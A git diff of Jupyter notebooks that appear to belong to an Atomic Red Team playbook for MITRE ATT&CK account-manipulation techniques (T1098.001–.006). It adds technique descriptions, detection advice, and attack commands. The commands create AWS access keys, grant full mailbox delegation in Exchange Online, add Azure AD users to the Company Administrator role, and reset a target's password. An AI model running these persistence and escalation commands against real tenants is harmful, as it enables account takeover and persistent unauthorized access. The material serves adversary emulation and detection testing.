([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from application\"\n Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\nrm \"$env:TEMP\\SuperApp.pfx\" -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from application\"\n Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n```" }, { "cell_type": "code", "execution_count": null, - "id": "65d9d265", + "id": "19c2b682", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "d6a21c51", + "id": "d83c4573", "metadata": {}, "source": "### Atomic Test #3 - AWS - Create Access Key and Secret Key\nAdversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised\n\n**Supported Platforms:** iaas:aws\n#### Dependencies: Run with `sh`!\n##### Description: Check if the user exists.\n\n##### Check Prereq Commands:\n```sh\naws iam list-users | grep atomicredteam\n\n```\n##### Get Prereq Commands:\n```sh\necho Please run atomic test T1136.003, before running this atomic\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6eeab952", + "id": "59c1383c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7de70612", + "id": "c288c72e", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\naws iam create-access-key --user-name atomicredteam > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\ncd $PathToAtomicsFolder/T1098.001/bin/\n./aws_secret.sh\n```" + "```sh\naws iam create-access-key --user-name atomicredteam > \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\"\ncd \"$PathToAtomicsFolder/T1098.001/bin/\"\n./aws_secret.sh\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "06f42040", + "id": "dddb8ee8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "23d8a5ed", + "id": "7813fd33", "metadata": {}, - "source": "#### Cleanup: \n```sh\naccess_key=`cat $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds| jq -r '.AccessKey.AccessKeyId'`\naws iam delete-access-key --access-key-id $access_key --user-name atomicredteam\nrm $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\n```" + "source": "#### Cleanup: \n```sh\naccess_key=`cat \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\" | jq -r '.AccessKey.AccessKeyId'`\naws iam delete-access-key --access-key-id $access_key --user-name atomicredteam\nrm \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "16c4e63e", + "id": "26d16171", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "6aa42a4a", + "id": "535d66df", "metadata": {}, "source": "## Detection\nMonitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1098.002.ipynb b/playbook/tactics/persistence/T1098.002.ipynb index c94f4184..32b34b22 100644 --- a/playbook/tactics/persistence/T1098.002.ipynb +++ b/playbook/tactics/persistence/T1098.002.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "5fb2c4b5", + "id": "bd49f2e5", "metadata": {}, "source": "# T1098.002 - Additional Email Delegate Permissions\nAdversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)" }, { "cell_type": "markdown", - "id": "b2c71c86", + "id": "1b137437", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c2af59bc", + "id": "4facd00f", + "metadata": {}, + "source": "### Atomic Test #1 - EXO - Full access mailbox permission granted to a user\nGive a nominated user, full mailbox delegation access of another user.\nThis can be used by an adversary to maintain persistent access to a target's mailbox in M365.\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement \n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fb719287", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "130f9b8d", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module ExchangeOnlineManagement\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test@contoso.com\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nAdd-MailboxPermission -Identity \"delegate@contoso.com\" -User \"operator@contoso.com\" -AccessRights FullAccess -InheritanceType All\nDisconnect-ExchangeOnline -Confirm:$false\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f9357b17", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "697ba3b6", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module ExchangeOnlineManagement\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test@contoso.com\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nRemove-MailboxPermission -Identity \"delegate@contoso.com\" -User \"operator@contoso.com\" -AccessRights FullAccess -InheritanceType All -Confirm:$false\nDisconnect-ExchangeOnline -Confirm:$false\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f57923aa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5b167a34", "metadata": {}, "source": "## Detection\nMonitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring." } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1098.003.ipynb b/playbook/tactics/persistence/T1098.003.ipynb index 4e8aeb5f..d57a54cd 100644 --- a/playbook/tactics/persistence/T1098.003.ipynb +++ b/playbook/tactics/persistence/T1098.003.ipynb @@ -2,19 +2,109 @@ "cells": [ { "cell_type": "markdown", - "id": "d1168a76", + "id": "840a278a", "metadata": {}, - "source": "# T1098.003 - Additional Cloud Roles\nAn adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) Similarly, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nSimilarly, an adversary with the Azure AD Global Administrator role can toggle the \u201cAccess management for Azure resources\u201d option to gain the ability to assign privileged access to Azure subscriptions and virtual machines to Azure AD users, including themselves.(Citation: Azure AD to AD) " + "source": "# T1098.003 - Additional Cloud Roles\nAn adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)" }, { "cell_type": "markdown", - "id": "f296f338", + "id": "c3e13725", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "37414988", + "id": "4f73d4dd", + "metadata": {}, + "source": "### Atomic Test #1 - Azure AD - Add Company Administrator Role to a user\nAdd an existing Azure user account the Company Administrator Role.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOnline module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name MSOnline -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name MSOnline -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9220ccca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ab8c5612", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module MSOnline\n$Password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Password\nConnect-MsolService -Credential $Credential\nAdd-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberEmailAddress \"default\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e7636cd8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "e7b5ea4a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4aea3e24", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "35a97d4e", + "metadata": {}, + "source": "### Atomic Test #2 - Simulate - Post BEC persistence via user password reset followed by user added to company administrator role\nThis test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.\n Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOnline and AzureAD modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\n$required_mods = 'AzureAD', 'MSOnline'\n$installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name | Select-Object -Unique)\n$notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue\n\nif ($notInstalled) {\n# Prompt for installing the missing ones.\nWrite-Output \"The following PS modules aren't currently installed:\"\n$notInstalled\n exit 1\n}\n\n else{\n Write-Output \"All required PS modules are installed\"\n exit 0\n }\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name MSOnline -Scope CurrentUser -Force\nInstall-Module -Name AzureAD -Scope CurrentUser -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "20d708b3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "25bd686d", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module MSOnline\nImport-Module AzureAD\n$password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $password\n$targetsecurepw = ConvertTo-SecureString -String \"Ohn05GeMe#$\" -AsPlainText -Force\nConnect-MsolService -Credential $credential -ErrorAction:SilentlyContinue\nConnect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue\n\n#Saving the ObjectId of the target_user into a variable\n$target_objid = Get-AzureADUser -filter \"userPrincipalName eq 'default'\" | Select-Object -ExpandProperty ObjectId\n\n#Reset the password of the target_user\nSet-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue\n\n#Adding target_user\nAdd-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberEmailAddress \"default\"\nAdd-MsolRoleMember -RoleName \"Global Reader\" -RoleMemberEmailAddress \"default\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3c63a1d6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "26a34629", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module MSOnline\n$password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $password\nConnect-MsolService -Credential $credential\nRemove-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\nRemove-MsolRoleMember -RoleName \"Global Reader\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1f4c96cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "61bb69e6", "metadata": {}, "source": "## Detection\nCollect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. " } @@ -22,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1098.004.ipynb b/playbook/tactics/persistence/T1098.004.ipynb index 8c3092a4..6bd88959 100644 --- a/playbook/tactics/persistence/T1098.004.ipynb +++ b/playbook/tactics/persistence/T1098.004.ipynb @@ -2,68 +2,68 @@ "cells": [ { "cell_type": "markdown", - "id": "7eb3a49a", + "id": "85d91683", "metadata": {}, - "source": "# T1098.004 - SSH Authorized Keys\nAdversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. " + "source": "# T1098.004 - SSH Authorized Keys\nAdversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)" }, { "cell_type": "markdown", - "id": "cd51a013", + "id": "e9662ad2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "151aa102", + "id": "04bb5f40", "metadata": {}, "source": [ "### Atomic Test #1 - Modify SSH Authorized Keys", "Modify contents of /.ssh/authorized_keys to maintain persistence on victim host. \nIf the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nif [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e1a76397", + "id": "171c51ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1c43483c", + "id": "35aabbc2", "metadata": {}, - "source": "#### Cleanup: \n```bash\nunset ssh_authorized_keys\n```" + "source": "#### Cleanup: \n```sh\nunset ssh_authorized_keys\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8e3bd05b", + "id": "62679eff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "81d45706", + "id": "4c557a4c", "metadata": {}, - "source": "## Detection\nUse file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config." + "source": "## Detection\nUse file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\n\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1098.005.ipynb b/playbook/tactics/persistence/T1098.005.ipynb index 134fa63b..d2c88c77 100644 --- a/playbook/tactics/persistence/T1098.005.ipynb +++ b/playbook/tactics/persistence/T1098.005.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "49485b6f", + "id": "ab452a7c", "metadata": {}, - "source": "# T1098.005 - Device Registration\nAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)" + "source": "# T1098.005 - Device Registration\nAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)" }, { "cell_type": "markdown", - "id": "2a20b4ed", + "id": "633b04e9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1098.006.ipynb b/playbook/tactics/persistence/T1098.006.ipynb new file mode 100644 index 00000000..377e3a13 --- /dev/null +++ b/playbook/tactics/persistence/T1098.006.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "eafde257", + "metadata": {}, + "source": "# T1098.006 - Additional Container Cluster Roles\nAn adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)." + }, + { + "cell_type": "markdown", + "id": "ba2583f8", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git 